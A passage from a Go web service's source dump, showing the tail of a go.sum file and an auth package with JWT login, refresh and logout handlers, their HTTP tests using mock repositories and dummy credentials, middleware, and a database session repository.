h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs= 86 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 87 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 88 | golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 89 | golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 90 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= 91 | golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= 92 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 93 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 94 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 95 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 96 | golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= 97 | golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= 98 | golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= 99 | golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= 100 | golang.org/x/oauth2 v0.0.0-20170912212905-13449ad91cb2/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= 101 | golang.org/x/sync v0.0.0-20170517211232-f52d1811a629/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 102 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 103 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 104 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 105 | golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= 106 | golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 107 | golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 108 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= 109 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 110 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 111 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 112 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 113 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 114 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 115 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 116 | golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 117 | golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 118 | golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 119 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= 120 | golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= 121 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 122 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 123 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 124 | golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= 125 | golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= 126 | golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= 127 | golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= 128 | golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= 129 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 130 | golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk= 131 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 132 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 133 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 134 | golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= 135 | golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= 136 | golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 137 | golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= 138 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= 139 | golang.org/x/time v0.0.0-20170424234030-8be79e1e0910/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= 140 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 141 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 142 | golang.org/x/tools v0.0.0-20191125144606-a911d9008d1f/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 143 | golang.org/x/tools v0.0.0-20191205133340-d1f10d1c4e25/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 144 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 145 | golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= 146 | golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= 147 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= 148 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 149 | google.golang.org/api v0.0.0-20170921000349-586095a6e407/go.mod h1:4mhQ8q/RsB7i+udVvVy5NUi08OU8ZlA0gRVgrF7VFY0= 150 | google.golang.org/appengine v1.6.5/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= 151 | google.golang.org/genproto v0.0.0-20170918111702-1e559d0a00ee/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= 152 | google.golang.org/grpc v1.2.1-0.20170921194603-d4b75ebd4f9f/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw= 153 | gopkg.in/asaskevich/govalidator.v9 v9.0.0-20180315120708-ccb8e960c48f h1:RVvpqSdNKxt6sENjmw0kdyyv8r18TdpmYTrvUUg2qkc= 154 | gopkg.in/asaskevich/govalidator.v9 v9.0.0-20180315120708-ccb8e960c48f/go.mod h1:+MTrBL6wlsxv1uFXT6b9LWG7PJdrvUJEjl8tXOlk9OU= 155 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 156 | gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 157 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 158 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 159 | gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 160 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 161 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 162 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 163 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 164 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= 165 | gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 166 | -------------------------------------------------------------------------------- /internal/auth/http.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | routing "github.com/go-ozzo/ozzo-routing/v2" 5 | ) 6 | 7 | type resource struct { 8 | service Service 9 | } 10 | 11 | //NewHTTPHandler - ... 12 | func NewHTTPHandler(router *routing.RouteGroup, jwtAuthMiddleware routing.Handler, service Service) { 13 | r := resource{ 14 | service: service, 15 | } 16 | router.Post("/auth/login", r.login) 17 | router.Post("/auth/refresh", r.refresh) 18 | router.Use(jwtAuthMiddleware) 19 | router.Post("/auth/logout", r.logout) 20 | } 21 | 22 | func (r resource) login(c *routing.Context) error { 23 | var request loginRequest 24 | if err := c.Read(&request); err != nil { 25 | return err 26 | } 27 | if err := request.Validate(); err != nil { 28 | return err 29 | } 30 | 31 | auth := authCredentials{ 32 | User: request.Login, 33 | Password: request.Password, 34 | UserAgent: c.Request.UserAgent(), 35 | IP: c.Request.RemoteAddr, 36 | } 37 | 38 | token, err := r.service.Login(c.Request.Context(), auth) 39 | if err != nil { 40 | return err 41 | } 42 | return c.Write(token) 43 | } 44 | 45 | func (r resource) refresh(c *routing.Context) error { 46 | var request refreshRequest 47 | if err := c.Read(&request); err != nil { 48 | return err 49 | } 50 | if err := request.Validate(); err != nil { 51 | return err 52 | } 53 | 54 | refreshCredentials := refreshCredentials{ 55 | RefreshToken: request.RefreshToken, 56 | UserAgent: c.Request.UserAgent(), 57 | IP: c.Request.RemoteAddr, 58 | } 59 | 60 | token, err := r.service.Refresh(c.Request.Context(), refreshCredentials) 61 | if err != nil { 62 | return err 63 | } 64 | return c.Write(token) 65 | } 66 | 67 | func (r resource) logout(c *routing.Context) error { 68 | var request logoutRequest 69 | if err := c.Read(&request); err != nil { 70 | return err 71 | } 72 | if err := request.Validate(); err != nil { 73 | return err 74 | } 75 | err := r.service.Logout(c.Request.Context(), request.RefreshToken) 76 | return err 77 | } 78 | -------------------------------------------------------------------------------- /internal/auth/http_test.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | "database/sql" 6 | "net/http" 7 | "testing" 8 | "time" 9 | 10 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 11 | "github.com/splendidalloy/cloud.snippets.ninja/internal/test" 12 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/log" 13 | ) 14 | 15 | func TestHTTP_Login(t *testing.T) { 16 | cases := []struct { 17 | name string 18 | request test.APITestCase 19 | repository Repository 20 | }{ 21 | { 22 | name: "user can login", 23 | request: test.APITestCase{ 24 | Method: http.MethodPost, 25 | URL: "/auth/login", 26 | Body: `{"login":"dd3v", "password":"qwerty"}`, 27 | Header: nil, 28 | WantStatus: http.StatusOK, 29 | WantResponse: "", 30 | }, 31 | repository: RepositoryMock{ 32 | GetUserByLoginOrEmailFn: func(ctx context.Context, value string) (entity.User, error) { 33 | return entity.User{ 34 | ID: 1, 35 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 36 | Login: "dd3v", 37 | Email: "test@test.com", 38 | CreatedAt: test.Time(2020), 39 | UpdatedAt: test.Time(2020), 40 | }, nil 41 | }, 42 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 43 | return nil 44 | }, 45 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 46 | return nil 47 | }, 48 | }, 49 | }, 50 | { 51 | name: "validation error", 52 | request: test.APITestCase{ 53 | Method: http.MethodPost, 54 | URL: "/auth/login", 55 | Body: `{"login":"dd3v", "password":"test"}`, 56 | Header: nil, 57 | WantStatus: http.StatusBadRequest, 58 | WantResponse: "", 59 | }, 60 | repository: RepositoryMock{ 61 | GetUserByLoginOrEmailFn: func(ctx context.Context, value string) (entity.User, error) { 62 | return entity.User{ 63 | ID: 1, 64 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 65 | Login: "dd3v", 66 | Email: "test@test.com", 67 | CreatedAt: test.Time(2020), 68 | UpdatedAt: test.Time(2020), 69 | }, nil 70 | }, 71 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 72 | return nil 73 | }, 74 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 75 | return nil 76 | }, 77 | }, 78 | }, 79 | { 80 | name: "user repository error", 81 | request: test.APITestCase{ 82 | Method: http.MethodPost, 83 | URL: "/auth/login", 84 | Body: `{"login":"dd3v", "password":"qwerty"}`, 85 | Header: nil, 86 | WantStatus: http.StatusInternalServerError, 87 | WantResponse: "", 88 | }, 89 | repository: RepositoryMock{ 90 | GetUserByLoginOrEmailFn: func(ctx context.Context, value string) (entity.User, error) { 91 | return entity.User{}, repositoryMockErr 92 | }, 93 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 94 | return nil 95 | }, 96 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 97 | return nil 98 | }, 99 | }, 100 | }, 101 | { 102 | name: "session repository error", 103 | request: test.APITestCase{ 104 | Method: http.MethodPost, 105 | URL: "/auth/login", 106 | Body: `{"login":"dd3v", "password":"qwerty"}`, 107 | Header: nil, 108 | WantStatus: http.StatusInternalServerError, 109 | WantResponse: "", 110 | }, 111 | repository: RepositoryMock{ 112 | GetUserByLoginOrEmailFn: func(ctx context.Context, value string) (entity.User, error) { 113 | return entity.User{ 114 | ID: 1, 115 | Password: "$2a$10$ubN1SU6RUOjlbQiHObqy7.bgK08Gl/YNWxTSrqhkTsvtnsh1nFzDO", 116 | Login: "dd3v", 117 | Email: "test@test.com", 118 | CreatedAt: test.Time(2020), 119 | UpdatedAt: test.Time(2020), 120 | }, nil 121 | }, 122 | DeleteSessionByUserIDAndUserAgentFn: func(ctx context.Context, userID int, userAgent string) error { 123 | return nil 124 | }, 125 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 126 | return repositoryMockErr 127 | }, 128 | }, 129 | }, 130 | } 131 | 132 | for _, tc := range cases { 133 | logger, _ := log.NewForTests() 134 | service := NewService("jwt_test_key", tc.repository, logger) 135 | router := test.MockRouter() 136 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 137 | test.Endpoint(t, tc.name, router, tc.request) 138 | } 139 | } 140 | 141 | func TestHTTP_RefreshToken(t *testing.T) { 142 | cases := []struct { 143 | name string 144 | request test.APITestCase 145 | repository Repository 146 | }{ 147 | { 148 | name: "user can refresh token", 149 | request: test.APITestCase{ 150 | Method: http.MethodPost, 151 | URL: "/auth/refresh", 152 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 153 | Header: nil, 154 | WantStatus: http.StatusOK, 155 | WantResponse: "", 156 | }, 157 | repository: RepositoryMock{ 158 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 159 | return entity.Session{ 160 | ID: 1, 161 | UserID: 1, 162 | RefreshToken: "d5586222-c306-11eb-96c1-acde48001122", 163 | Exp: time.Now().Add(time.Hour), 164 | IP: "127.0.0.1", 165 | UserAgent: "test", 166 | CreatedAt: test.Time(2020), 167 | }, nil 168 | }, 169 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 170 | return nil 171 | }, 172 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 173 | return nil 174 | }, 175 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 176 | return 0, nil 177 | }, 178 | }, 179 | }, 180 | { 181 | name: "refresh token expired", 182 | request: test.APITestCase{ 183 | Method: http.MethodPost, 184 | URL: "/auth/refresh", 185 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 186 | Header: nil, 187 | WantStatus: http.StatusForbidden, 188 | WantResponse: "", 189 | }, 190 | repository: RepositoryMock{ 191 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 192 | return entity.Session{ 193 | ID: 1, 194 | UserID: 1, 195 | RefreshToken: "d5586222-c306-11eb-96c1-acde48001122", 196 | Exp: time.Now(), 197 | IP: "127.0.0.1", 198 | UserAgent: "test", 199 | CreatedAt: test.Time(2020), 200 | }, nil 201 | }, 202 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 203 | return nil 204 | }, 205 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 206 | return nil 207 | }, 208 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 209 | return 0, nil 210 | }, 211 | }, 212 | }, 213 | { 214 | name: "refresh by non-existent", 215 | request: test.APITestCase{ 216 | Method: http.MethodPost, 217 | URL: "/auth/refresh", 218 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 219 | Header: nil, 220 | WantStatus: http.StatusForbidden, 221 | WantResponse: "", 222 | }, 223 | repository: RepositoryMock{ 224 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 225 | return entity.Session{}, sql.ErrNoRows 226 | }, 227 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 228 | return nil 229 | }, 230 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 231 | return nil 232 | }, 233 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 234 | return 0, nil 235 | }, 236 | }, 237 | }, 238 | { 239 | name: "repository error", 240 | request: test.APITestCase{ 241 | Method: http.MethodPost, 242 | URL: "/auth/refresh", 243 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 244 | Header: nil, 245 | WantStatus: http.StatusInternalServerError, 246 | WantResponse: "", 247 | }, 248 | repository: RepositoryMock{ 249 | GetSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) (entity.Session, error) { 250 | return entity.Session{ 251 | ID: 1, 252 | UserID: 1, 253 | RefreshToken: "d5586222-c306-11eb-96c1-acde48001122", 254 | Exp: time.Now().Add(time.Hour), 255 | IP: "127.0.0.1", 256 | UserAgent: "test", 257 | CreatedAt: test.Time(2020), 258 | }, nil 259 | }, 260 | CreateSessionFn: func(ctx context.Context, session entity.Session) error { 261 | return repositoryMockErr 262 | }, 263 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 264 | return nil 265 | }, 266 | DeleteSessionByUserIDFn: func(ctx context.Context, userID int) (int64, error) { 267 | return 0, nil 268 | }, 269 | }, 270 | }, 271 | } 272 | 273 | for _, tc := range cases { 274 | logger, _ := log.NewForTests() 275 | service := NewService("jwt_test_key", tc.repository, logger) 276 | router := test.MockRouter() 277 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 278 | test.Endpoint(t, tc.name, router, tc.request) 279 | } 280 | } 281 | 282 | func TestHTTP_Logout(t *testing.T) { 283 | cases := []struct { 284 | name string 285 | request test.APITestCase 286 | repository Repository 287 | }{ 288 | { 289 | name: "user can logout", 290 | request: test.APITestCase{ 291 | Method: http.MethodPost, 292 | URL: "/auth/logout", 293 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 294 | Header: test.MockAuthHeader(), 295 | WantStatus: http.StatusOK, 296 | WantResponse: "", 297 | }, 298 | repository: RepositoryMock{ 299 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 300 | return nil 301 | }, 302 | }, 303 | }, 304 | { 305 | name: "unauthorized request", 306 | request: test.APITestCase{ 307 | Method: http.MethodPost, 308 | URL: "/auth/logout", 309 | Body: `{"refresh_token":"d5586222-c306-11eb-96c1-acde48001122"}`, 310 | Header: nil, 311 | WantStatus: http.StatusUnauthorized, 312 | WantResponse: "", 313 | }, 314 | repository: RepositoryMock{ 315 | DeleteSessionByRefreshTokenFn: func(ctx context.Context, refreshToken string) error { 316 | return nil 317 | }, 318 | }, 319 | }, 320 | } 321 | 322 | for _, tc := range cases { 323 | logger, _ := log.NewForTests() 324 | service := NewService("jwt_test_key", tc.repository, logger) 325 | router := test.MockRouter() 326 | NewHTTPHandler(router.Group(""), test.MockAuthMiddleware, service) 327 | test.Endpoint(t, tc.name, router, tc.request) 328 | } 329 | } 330 | -------------------------------------------------------------------------------- /internal/auth/middleware.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | 6 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 7 | "github.com/dgrijalva/jwt-go" 8 | routing "github.com/go-ozzo/ozzo-routing/v2" 9 | "github.com/go-ozzo/ozzo-routing/v2/auth" 10 | ) 11 | 12 | type Identity interface { 13 | GetID() int 14 | GetLogin() string 15 | } 16 | 17 | // GetJWTMiddleware returns a JWT-based authentication middleware. Ozzo routing 18 | func GetJWTMiddleware(verificationKey string) routing.Handler { 19 | return auth.JWT(verificationKey, auth.JWTOptions{TokenHandler: handleToken}) 20 | } 21 | 22 | func handleToken(c *routing.Context, token *jwt.Token) error { 23 | ctx := WithUser( 24 | c.Request.Context(), 25 | int(token.Claims.(jwt.MapClaims)["id"].(float64)), 26 | token.Claims.(jwt.MapClaims)["login"].(string), 27 | ) 28 | c.Request = c.Request.WithContext(ctx) 29 | return nil 30 | } 31 | 32 | // WithUser returns a context that contains the user identity from the given JWT. 33 | func WithUser(ctx context.Context, id int, login string) context.Context { 34 | return context.WithValue(ctx, entity.JWTCtxKey, entity.Identity{ID: id, Login: login}) 35 | } 36 | 37 | // CurrentUser returns the user identity from the given context. 38 | // Nil is returned if no user identity is found in the context. 39 | func CurrentUser(ctx context.Context) Identity { 40 | if user, ok := ctx.Value(entity.JWTCtxKey).(entity.Identity); ok { 41 | return user 42 | } 43 | return nil 44 | } 45 | -------------------------------------------------------------------------------- /internal/auth/repository.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | "github.com/splendidalloy/cloud.snippets.ninja/pkg/dbcontext" 9 | dbx "github.com/go-ozzo/ozzo-dbx" 10 | ) 11 | 12 | type repository struct { 13 | db *dbcontext.DB 14 | } 15 | 16 | //NewRepository - ... 17 | func NewRepository(db *dbcontext.DB) Repository { 18 | return repository{ 19 | db: db, 20 | } 21 | } 22 | 23 | func (r repository) GetUserByLoginOrEmail(ctx context.Context, value string) (entity.User, error) { 24 | var user entity.User 25 | err := r.db.With(ctx).Select().From("users").Where(dbx.HashExp{"login": value}).OrWhere(dbx.HashExp{"email": value}).One(&user) 26 | return user, err 27 | } 28 | 29 | func (r repository) CreateSession(ctx context.Context, session entity.Session) error { 30 | return r.db.With(ctx).Model(&session).Insert() 31 | } 32 | 33 | func (r repository) GetSessionByRefreshToken(ctx context.Context, refreshToken string) (entity.Session, error) { 34 | var session entity.Session 35 | err := r.db.With(ctx).Select().Where(&dbx.HashExp{"refresh_token": refreshToken}).One(&session) 36 | return session, err 37 | } 38 | 39 | func (r repository) DeleteSessionByUserIDAndUserAgent(ctx context.Context, userID int, userAgent string) error { 40 | result, err := r.db.With(ctx).Delete("sessions", dbx.HashExp{"user_id": userID, "user_agent": userAgent}).Execute() 41 | fmt.Println(result) 42 | return err 43 | } 44 | 45 | func (r repository) DeleteSessionByRefreshToken(ctx context.Context, refreshToken string) error { 46 | session, err := r.GetSessionByRefreshToken(ctx, refreshToken) 47 | if err != nil { 48 | return err 49 | } 50 | return r.db.With(ctx).Model(&session).Delete() 51 | } 52 | 53 | func (r repository) DeleteSessionByUserID(ctx context.Context, userID int) (int64, error) { 54 | result, err := r.db.With(ctx).Delete("sessions", dbx.HashExp{"user_id": userID}).Execute() 55 | if err != nil { 56 | return 0, err 57 | } 58 | affectedRows, err := result.RowsAffected() 59 | if err != nil { 60 | return 0, err 61 | } 62 | 63 | return affectedRows, nil 64 | 65 | } 66 | -------------------------------------------------------------------------------- /internal/auth/repository_mock.go: -------------------------------------------------------------------------------- 1 | package auth 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | 7 | "github.com/splendidalloy/cloud.snippets.ninja/internal/entity" 8 | ) 9 | 10 | var repositoryMockErr = errors.New("error repository") 11 | 12 | type RepositoryMock struct { 13 | GetUserByLoginOrEmailFn func(ctx context.Context, value string) (entity.User, error) 14 | CreateSessionFn func(ctx context.Context, session entity.Session) error 15 | GetSessionByRefreshTokenFn func(ctx context.Context, refreshToken string) (entity.Session, error) 16 | DeleteSessionByRefreshTokenFn func(ctx context.Context, refreshToken string) error 17 | DeleteSessionByUserIDAndUserAgentFn func(ctx context.Context, userID int, userAgent string) error 18 | DeleteSessionByUserIDFn func(ctx context.Context, userID int) (int64, error) 19 | } 20 | 21 | func NewRepositoryMock() Repository { 22 | return RepositoryMock{} 23 | } 24 | 25 | func (r RepositoryMock) GetUserByLoginOrEmail(ctx context.Context, value string) (entity.User, error) { 26 | return r.GetUserByLoginOrEmailFn(ctx, value) 27 | } 28 | 29 | func (r RepositoryMock) CreateSession(ctx context.Context, session entity.Session) error { 30 | return r.CreateSessionFn(ctx, session) 31 | } 32 | 33 | func (r RepositoryMock) GetSessionByRefreshToken(ctx context.Context, refreshToken string) (entity.Session, error) { 34 | return r.GetSessionByRefreshTokenFn(ctx, refreshToken) 35 | } 36 | 37 | func (r RepositoryMock) DeleteSessionByRefreshToken(ctx context.Context, refreshToken string) error { 38 | return r.DeleteSessionByRefreshTokenFn(ctx, refreshToken) 39 | } 40 | 41 | func (r RepositoryMock) DeleteSessionByUserIDAndUserAgent(ctx context.Context, userID int, 